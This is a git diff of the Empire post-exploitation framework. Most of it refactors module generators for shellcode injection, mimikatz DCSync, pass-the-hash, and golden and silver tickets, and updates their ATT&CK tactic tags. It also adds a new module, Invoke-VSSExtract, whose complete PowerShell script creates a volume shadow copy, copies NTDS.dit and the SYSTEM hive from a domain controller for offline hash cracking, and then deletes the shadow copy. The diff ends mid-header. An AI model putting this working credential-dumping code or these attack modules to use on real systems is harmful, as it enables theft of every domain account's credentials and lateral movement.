a/empire/server/modules/csharp/situational_awareness/SharpSploit/GetNetLocalGroup.yaml b/empire/server/modules/csharp/situational_awareness/SharpSploit/GetNetLocalGroup.yaml index fbfdc6274..e04f64194 100755 --- a/empire/server/modules/csharp/situational_awareness/SharpSploit/GetNetLocalGroup.yaml +++ b/empire/server/modules/csharp/situational_awareness/SharpSploit/GetNetLocalGroup.yaml @@ -12,7 +12,7 @@ description: | of all local groups. software: '' tactics: [TA0007] -techniques: [T1482, T1615, T1069.001] +techniques: [T1069.001] background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/csharp/situational_awareness/SharpSploit/GetNetLocalGroupMember.yaml b/empire/server/modules/csharp/situational_awareness/SharpSploit/GetNetLocalGroupMember.yaml index 191ac254d..66c406d98 100755 --- a/empire/server/modules/csharp/situational_awareness/SharpSploit/GetNetLocalGroupMember.yaml +++ b/empire/server/modules/csharp/situational_awareness/SharpSploit/GetNetLocalGroupMember.yaml @@ -12,7 +12,7 @@ description: | enumeration of all local group members. software: '' tactics: [TA0007] -techniques: [T1482, T1615, T1069.002] +techniques: [T1069.002] background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/csharp/situational_awareness/SharpSploit/GetNetSession.yaml b/empire/server/modules/csharp/situational_awareness/SharpSploit/GetNetSession.yaml index b019b9061..52f25540f 100755 --- a/empire/server/modules/csharp/situational_awareness/SharpSploit/GetNetSession.yaml +++ b/empire/server/modules/csharp/situational_awareness/SharpSploit/GetNetSession.yaml @@ -12,7 +12,8 @@ description: | enumeration of all network sessions. software: '' tactics: [TA0007] -techniques: [T1076, T1018, T1933] +techniques: + - T1049 background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/csharp/situational_awareness/SharpWMI.yaml b/empire/server/modules/csharp/situational_awareness/SharpWMI.yaml index c32e2110d..f02ac9ddc 100755 --- a/empire/server/modules/csharp/situational_awareness/SharpWMI.yaml +++ b/empire/server/modules/csharp/situational_awareness/SharpWMI.yaml @@ -10,7 +10,7 @@ description: | and can be used for situational awareness to identify running services, processes, and other system components. software: '' -tactics: [TA0002] +tactics: [TA0002, TA0003, TA0004] techniques: [T1047, T1546.003] background: true output_extension: '' diff --git a/empire/server/modules/powershell/code_execution/invoke_ntsd.py b/empire/server/modules/powershell/code_execution/invoke_ntsd.py index ce8bb03eb..1789097b5 100644 --- a/empire/server/modules/powershell/code_execution/invoke_ntsd.py +++ b/empire/server/modules/powershell/code_execution/invoke_ntsd.py @@ -1,16 +1,20 @@ from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): listener_name = params["Listener"] upload_path = params["UploadPath"].strip() @@ -21,37 +25,27 @@ def generate( if arch == "x64": ntsd_exe = ( - main_menu.installPath - + "/data/module_source/code_execution/ntsd_x64.exe" + main_menu.install_path + / "data/module_source/code_execution/ntsd_x64.exe" ) ntsd_dll = ( - main_menu.installPath - + "/data/module_source/code_execution/ntsdexts_x64.dll" + main_menu.install_path + / "data/module_source/code_execution/ntsdexts_x64.dll" ) elif arch == "x86": ntsd_exe = ( - main_menu.installPath - + "/data/module_source/code_execution/ntsd_x86.exe" + main_menu.install_path + / "data/module_source/code_execution/ntsd_x86.exe" ) ntsd_dll = ( - main_menu.installPath - + "/data/module_source/code_execution/ntsdexts_x86.dll" + main_menu.install_path + / "data/module_source/code_execution/ntsdexts_x86.dll" ) - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - script_end = "" if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script - return handle_error_message(f"[!] Invalid listener: {listener_name}") + raise ModuleValidationException(f"[!] Invalid listener: {listener_name}") multi_launcher = main_menu.stagertemplatesv2.new_instance("multi_launcher") multi_launcher.options["Listener"] = params["Listener"] @@ -64,15 +58,12 @@ def generate( launcher = multi_launcher.generate() if launcher == "": - return handle_error_message("[!] Error in launcher generation.") + raise ModuleValidationException("Error in launcher generation.") launcher = launcher.split(" ")[-1] - with open(ntsd_exe, "rb") as bin_data: - ntsd_exe_data = bin_data.read() - - with open(ntsd_dll, "rb") as bin_data: - ntsd_dll_data = bin_data.read() + ntsd_exe_data = ntsd_exe.read_bytes() + ntsd_dll_data = ntsd_dll.read_bytes() exec_write = f'Write-Ini {upload_path} "{launcher}"' code_exec = f"{upload_path}\\ntsd.exe -cf {upload_path}\\ntsd.ini {bin}" @@ -94,9 +85,4 @@ def generate( script_end += "\r\n" script_end += code_exec - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.py b/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.py index e5a233524..2a27baf58 100644 --- a/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.py +++ b/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.py @@ -1,39 +1,36 @@ import base64 +from pathlib import Path from empire.server.common import helpers from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - script_end = "\nInvoke-ReflectivePEInjection" # check if file or PEUrl is set. Both are required params in their respective parameter sets. if params["File"] == "" and params["PEUrl"] == "": - return handle_error_message("[!] Please provide a PEUrl or File") + raise ModuleValidationException("Please provide a PEUrl or File") for option, values in params.items(): if option.lower() != "agent": if option.lower() == "file": if values != "": try: - with open(values, "rb") as f: - dllbytes = f.read() + dllbytes = Path(values).read_bytes() base64bytes = base64.b64encode(dllbytes).decode("UTF-8") @@ -59,9 +56,4 @@ def generate( elif values and values != "": script_end += " -" + str(option) + " " + str(values) - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/code_execution/invoke_script.py b/empire/server/modules/powershell/code_execution/invoke_script.py index 469b6e3ca..60e213b32 100644 --- a/empire/server/modules/powershell/code_execution/invoke_script.py +++ b/empire/server/modules/powershell/code_execution/invoke_script.py @@ -1,22 +1,20 @@ from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - script_end = "\nInvoke-Script" if params["File"]: @@ -27,9 +25,4 @@ def generate( script_end += " -FunctionCommand '" + str(params["FunctionCommand"]) + "'" - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/code_execution/invoke_shellcode.py b/empire/server/modules/powershell/code_execution/invoke_shellcode.py index a5c597e70..b0c3563d3 100644 --- a/empire/server/modules/powershell/code_execution/invoke_shellcode.py +++ b/empire/server/modules/powershell/code_execution/invoke_shellcode.py @@ -2,24 +2,21 @@ from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - script_end = "\nInvoke-Shellcode -Force" for option, values in params.items(): @@ -42,9 +39,4 @@ def generate( script_end += "; 'Shellcode injected.'" - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.py b/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.py index d00783561..e345ea8f0 100644 --- a/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.py +++ b/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.py @@ -1,27 +1,20 @@ from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - script_end = "Invoke-ShellcodeMSIL" for option, values in params.items(): @@ -35,9 +28,4 @@ def generate( sc = ",0".join(values.split("\\"))[1:] script_end += " -" + str(option) + " @(" + sc + ")" - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/credentials/Invoke-VSSExtract.yaml b/empire/server/modules/powershell/credentials/Invoke-VSSExtract.yaml new file mode 100644 index 000000000..cebf20d9e --- /dev/null +++ b/empire/server/modules/powershell/credentials/Invoke-VSSExtract.yaml @@ -0,0 +1,151 @@ +name: Invoke-VSSExtract +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: | + Creates a Volume Shadow Copy and extracts NTDS.dit with the SYSTEM registry hive from + a domain controller for offline credential extraction workflows. This provides an + alternative collection path to DCSync by obtaining files required for ntds/sam style + parsing and hash recovery. The operation requires elevated privileges, typically Domain + Admin or Backup Operator rights, and leaves host artifacts associated with VSS and file + copy activity. It complements Empire credential access options such as Mimikatz DCSync + and file-based collection techniques like NinjaCopy. +software: '' +tactics: [TA0006] +techniques: [T1003.003] +background: true +output_extension: '' +needs_admin: true +opsec_safe: false +language: powershell +min_language_version: '2' +comments: + - https://docs.microsoft.com/en-us/windows/win32/vss/volume-shadow-copy-service-overview +options: + - name: Agent + description: Agent to run module on. + required: true + value: '' + - name: Drive + description: Drive letter to create shadow copy for. + required: true + value: 'C:' + - name: OutputPath + description: Local path to copy extracted files to. + required: true + value: 'C:\Windows\Temp' + - name: CleanupShadow + description: Delete the shadow copy after extraction. + required: false + value: 'True' + strict: true + suggested_values: + - 'True' + - 'False' +script: | + function Invoke-VSSExtract { + [CmdletBinding()] + Param( + [String]$Drive = 'C:', + [String]$OutputPath = 'C:\Windows\Temp', + [Switch]$CleanupShadow + ) + + $shadowId = $null + $deviceObject = $null + + try { + if ([String]::IsNullOrWhiteSpace($Drive)) { + throw 'Drive cannot be empty.' + } + + $Drive = $Drive.TrimEnd('\\') + if ($Drive.Length -eq 1) { + $Drive = $Drive + ':' + } + + if (-not (Test-Path $OutputPath)) { + Write-Output "[*] Creating output directory: $OutputPath" + New-Item -Path $OutputPath -ItemType Directory -Force | Out-Null + } + + Write-Output "[*] Creating VSS shadow copy for $Drive" + + try { + $createResult = (Get-WmiObject -List Win32_ShadowCopy).Create($Drive + '\\', 'ClientAccessible') + if ($createResult.ReturnValue -eq 0) { + $shadowId = $createResult.ShadowID + $shadowObj = Get-WmiObject Win32_ShadowCopy | Where-Object { $_.ID -eq $shadowId } + if ($shadowObj) { + $deviceObject = $shadowObj.DeviceObject + } + Write-Output "[+] Shadow copy created via WMI: $shadowId" + } else { + Write-Output "[!] WMI VSS creation failed with code: $($createResult.ReturnValue)" + } + } catch { + Write-Output "[!] WMI VSS creation error: $($_.Exception.Message)" + } + + if (-not $shadowId -or -not $deviceObject) { + Write-Output '[*] Falling back to vssadmin shadow creation.' + $vssCreateOutput = vssadmin create shadow /for=$Drive 2>&1 | Out-String + + if ($vssCreateOutput -match 'Shadow Copy ID:\s*(\{[^\}]+\})') { + $shadowId = $matches[1] + } + + if ($vssCreateOutput -match 'Shadow Copy Volume Name:\s*(\\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy\d+)') { + $deviceObject = $matches[1] + } + + if ($shadowId) { + Write-Output "[+] Shadow copy created via vssadmin: $shadowId" + } + } + + if (-not $shadowId -or -not $deviceObject) { + throw 'Failed to create a usable shadow copy. Check administrative privileges and VSS service status.' + } + + $shadowRoot = $deviceObject.TrimEnd('\\') + $ntdsSource = $shadowRoot + '\\Windows\\NTDS\\NTDS.dit' + $systemSource = $shadowRoot + '\\Windows\\System32\\config\\SYSTEM' + $ntdsDest = Join-Path $OutputPath 'NTDS.dit' + $systemDest = Join-Path $OutputPath 'SYSTEM' + + if (-not (Test-Path $ntdsSource)) { + throw 'NTDS.dit not found in shadow copy. Host is likely not a domain controller or path is inaccessible.' + } + + Write-Output "[*] Copying NTDS.dit to $ntdsDest" + cmd /c copy /y "$ntdsSource" "$ntdsDest" | Out-Null + if (-not (Test-Path $ntdsDest)) { + throw 'Failed to copy NTDS.dit from shadow copy.' + } + Write-Output '[+] NTDS.dit copied successfully.' + + if (-not (Test-Path $systemSource)) { + throw 'SYSTEM hive not found in shadow copy.' + } + + Write-Output "[*] Copying SYSTEM hive to $systemDest" + cmd /c copy /y "$systemSource" "$systemDest" | Out-Null + if (-not (Test-Path $systemDest)) { + throw 'Failed to copy SYSTEM hive from shadow copy.' + } + Write-Output '[+] SYSTEM hive copied successfully.' + Write-Output "[+] Extraction complete. Files saved to $OutputPath" + } + catch { + Write-Output "[!] Invoke-VSSExtract error: $($_.Exception.Message)" + } + finally { + if ($CleanupShadow.IsPresent -and $shadowId) { + Write-Output "[*] Cleaning up shadow copy: $shadowId" + vssadmin delete shadows /shadow=$shadowId /quiet | Out-Null + } + } + } +script_end: Invoke-VSSExtract {{ PARAMS }} diff --git a/empire/server/modules/powershell/credentials/VeeamGetCreds.yaml b/empire/server/modules/powershell/credentials/VeeamGetCreds.yaml index 5f1de5f43..e1246234f 100644 --- a/empire/server/modules/powershell/credentials/VeeamGetCreds.yaml +++ b/empire/server/modules/powershell/credentials/VeeamGetCreds.yaml @@ -13,7 +13,9 @@ description: | for privilege escalation and lateral movement in enterprise environments. software: tactics: [TA0009] -techniques: [T1213] +techniques: + - T1213 + - T1555 background: false output_extension: needs_admin: true diff --git a/empire/server/modules/powershell/credentials/mimikatz/certs.yaml b/empire/server/modules/powershell/credentials/mimikatz/certs.yaml index 6980b0bbd..9a7e0d41d 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/certs.yaml +++ b/empire/server/modules/powershell/credentials/mimikatz/certs.yaml @@ -13,7 +13,7 @@ description: | Extracts both public and private keys that can be used for certificate-based authentication, code signing, or other cryptographic operations. software: S0002 -tactics: [TA0006] +tactics: [TA0006, TA0004, TA0005] techniques: [T1003.004, T1552.002, T1555.004, T1134.001] background: true output_extension: diff --git a/empire/server/modules/powershell/credentials/mimikatz/command.yaml b/empire/server/modules/powershell/credentials/mimikatz/command.yaml index 2e03c5735..746860a84 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/command.yaml +++ b/empire/server/modules/powershell/credentials/mimikatz/command.yaml @@ -15,7 +15,7 @@ description: | Note: Not all functions require admin, but many do. software: S0002 -tactics: [TA0006, TA0009] +tactics: [TA0006, TA0009, TA0003, TA0004, TA0005, TA0008] techniques: [T1003.001, T1003.002, T1003.003, T1003.004, T1098, T1207, T1547.005, T1552.004, T1555.003, T1555.004, T1550.002, T1550.003, T1134.005, T1134.001, T1649, T1558.001, T1558.002] diff --git a/empire/server/modules/powershell/credentials/mimikatz/dcsync.yaml b/empire/server/modules/powershell/credentials/mimikatz/dcsync.yaml index 72e3fcb43..f089dfdda 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/dcsync.yaml +++ b/empire/server/modules/powershell/credentials/mimikatz/dcsync.yaml @@ -17,7 +17,7 @@ description: | data from domain controllers. Can extract password hashes for specific users or all domain accounts, including the krbtgt account. software: S0002 -tactics: [TA0006] +tactics: [TA0006, TA0005, TA0008] techniques: [T1003.006, T1550.003, T1558.001, T1558.002] background: true output_extension: diff --git a/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.py b/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.py index 1d65d5819..0e47c2937 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.py +++ b/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.py @@ -1,27 +1,20 @@ from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - script_end = "Invoke-DCSync -PWDumpFormat " if params["Domain"] != "": @@ -39,9 +32,4 @@ def generate( outputf = params.get("OutputFunction", "Out-String") script_end += f" | {outputf};" - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.yaml b/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.yaml index dccdf0ca8..9709581a8 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.yaml +++ b/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.yaml @@ -22,7 +22,7 @@ description: | on a domain controller. Requires Domain Administrator or equivalent privileges and can optionally include machine accounts and forest-wide accounts. software: S0002 -tactics: [TA0006] +tactics: [TA0006, TA0005, TA0008] techniques: [T1003.006, T1550.003, T1558.001, T1558.002] background: true output_extension: diff --git a/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.py b/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.py index ea9dcae48..6187ec3a4 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.py +++ b/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.py @@ -2,31 +2,25 @@ from empire.server.common.empire import MainMenu from empire.server.core.db.base import SessionLocal +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source log = logging.getLogger(__name__) class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - # if a credential ID is specified, try to parse cred_id = params["CredID"] if cred_id != "": @@ -34,10 +28,10 @@ def generate( cred = main_menu.credentialsv2.get_by_id(db, cred_id) if not cred: - return handle_error_message("[!] CredID is invalid!") + raise ModuleValidationException("CredID is invalid!") if cred.username != "krbtgt": - return handle_error_message("[!] A krbtgt account must be used") + raise ModuleValidationException("A krbtgt account must be used") if cred.domain != "": params["domain"] = cred.domain @@ -63,9 +57,4 @@ def generate( script_end += " /ptt\"'" - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/credentials/mimikatz/keys.yaml b/empire/server/modules/powershell/credentials/mimikatz/keys.yaml index ab49c881c..82d82acdf 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/keys.yaml +++ b/empire/server/modules/powershell/credentials/mimikatz/keys.yaml @@ -14,7 +14,7 @@ description: | understanding the cryptographic landscape and identifying potential decryption opportunities. software: S0002 -tactics: [TA0006] +tactics: [TA0006, TA0004, TA0005] techniques: [T1003.004, T1552.002, T1555.004, T1134.001] background: true output_extension: diff --git a/empire/server/modules/powershell/credentials/mimikatz/logonpasswords.yaml b/empire/server/modules/powershell/credentials/mimikatz/logonpasswords.yaml index 8f937df33..5a3eb912f 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/logonpasswords.yaml +++ b/empire/server/modules/powershell/credentials/mimikatz/logonpasswords.yaml @@ -14,7 +14,7 @@ description: | service account passwords. The technique leverages Windows memory structures to bypass security controls to extract authentication data. software: S0002 -tactics: [TA0006] +tactics: [TA0006, TA0004, TA0005] techniques: [T1003.001, T1003.004, T1134.001] background: true output_extension: diff --git a/empire/server/modules/powershell/credentials/mimikatz/lsadump.py b/empire/server/modules/powershell/credentials/mimikatz/lsadump.py index adbecff4d..1db6dbbd0 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/lsadump.py +++ b/empire/server/modules/powershell/credentials/mimikatz/lsadump.py @@ -1,27 +1,20 @@ from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - script_end = "Invoke-Mimikatz -Command " if params["Username"] != "": @@ -31,9 +24,4 @@ def generate( script_end += "\"';" - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/credentials/mimikatz/lsadump.yaml b/empire/server/modules/powershell/credentials/mimikatz/lsadump.yaml index 90255337d..283ef5bf0 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/lsadump.yaml +++ b/empire/server/modules/powershell/credentials/mimikatz/lsadump.yaml @@ -14,7 +14,7 @@ description: | specific users or extract all available hashes. The technique leverages Windows LSA structures to bypass security controls and extract authentication data. software: S0002 -tactics: [TA0006] +tactics: [TA0006, TA0004, TA0005] techniques: [T1003.001, T1003.004, T1134.001] background: true output_extension: diff --git a/empire/server/modules/powershell/credentials/mimikatz/mimitokens.py b/empire/server/modules/powershell/credentials/mimikatz/mimitokens.py index a00c16552..41cddae8b 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/mimitokens.py +++ b/empire/server/modules/powershell/credentials/mimikatz/mimitokens.py @@ -1,27 +1,21 @@ from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - list_tokens = params["list"] elevate = params["elevate"] revert = params["revert"] @@ -40,7 +34,7 @@ def generate( elif elevate.lower() == "true": script_end += "'\"token::elevate" else: - return handle_error_message( + raise ModuleValidationException( "[!] list, elevate, or revert must be specified!" ) @@ -55,9 +49,4 @@ def generate( script_end += "\"';" - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/credentials/mimikatz/pth.py b/empire/server/modules/powershell/credentials/mimikatz/pth.py index 1c85982f0..bbcd27649 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/pth.py +++ b/empire/server/modules/powershell/credentials/mimikatz/pth.py @@ -2,31 +2,25 @@ from empire.server.common.empire import MainMenu from empire.server.core.db.base import SessionLocal +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source log = logging.getLogger(__name__) class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - # if a credential ID is specified, try to parse cred_id = params["CredID"] if cred_id != "": @@ -34,10 +28,10 @@ def generate( cred = main_menu.credentialsv2.get_by_id(db, cred_id) if not cred: - return handle_error_message("[!] CredID is invalid!") + raise ModuleValidationException("CredID is invalid!") if cred.credtype != "hash": - return handle_error_message("[!] An NTLM hash must be used!") + raise ModuleValidationException("An NTLM hash must be used!") if cred.username != "": params["user"] = cred.username @@ -61,9 +55,4 @@ def generate( ';"`nUse credentials/token to steal the token of the created PID."' ) - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/credentials/mimikatz/pth.yaml b/empire/server/modules/powershell/credentials/mimikatz/pth.yaml index 12253c207..cf66f7844 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/pth.yaml +++ b/empire/server/modules/powershell/credentials/mimikatz/pth.yaml @@ -15,7 +15,7 @@ description: | for lateral movement and privilege escalation when only password hashes are available instead of plaintext credentials. software: S0002 -tactics: [TA0004] +tactics: [TA0004, TA0005, TA0006, TA0008] techniques: [T1550.002, T1528] background: true output_extension: diff --git a/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.py b/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.py index 73764f5ae..6d7555abc 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.py +++ b/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.py @@ -1,29 +1,23 @@ from empire.server.common import helpers from empire.server.common.empire import MainMenu from empire.server.core.db.base import SessionLocal +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - # if a credential ID is specified, try to parse cred_id = params["CredID"] if cred_id != "": @@ -31,10 +25,10 @@ def generate( cred = main_menu.credentialsv2.get_by_id(db, cred_id) if not cred: - return handle_error_message("[!] CredID is invalid!") + raise ModuleValidationException("CredID is invalid!") if not cred.username.endswith("$"): - return handle_error_message( + raise ModuleValidationException( "[!] please specify a machine account credential" ) if cred.domain != "": @@ -48,13 +42,13 @@ def generate( # error checking if not helpers.validate_ntlm(params["rc4"]): - return handle_error_message("[!] rc4/NTLM hash not specified") + raise ModuleValidationException("rc4/NTLM hash not specified") if params["target"] == "": - return handle_error_message("[!] target not specified") + raise ModuleValidationException("target not specified") if params["sid"] == "": - return handle_error_message("[!] domain SID not specified") + raise ModuleValidationException("domain SID not specified") # build the golden ticket command script_end = "Invoke-Mimikatz -Command '\"kerberos::golden" @@ -70,9 +64,4 @@ def generate( script_end += " /ptt\"'" - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/credentials/mimikatz/trust_keys.py b/empire/server/modules/powershell/credentials/mimikatz/trust_keys.py index e8f3e8cad..db6df3f77 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/trust_keys.py +++ b/empire/server/modules/powershell/credentials/mimikatz/trust_keys.py @@ -1,36 +1,24 @@ from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - script_end = "" if params["Method"].lower() == "sekurlsa": script_end += "Invoke-Mimikatz -Command '\"sekurlsa::trust\"'" else: script_end += "Invoke-Mimikatz -Command '\"lsadump::trust /patch\"'" - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/credentials/sessiongopher.yaml 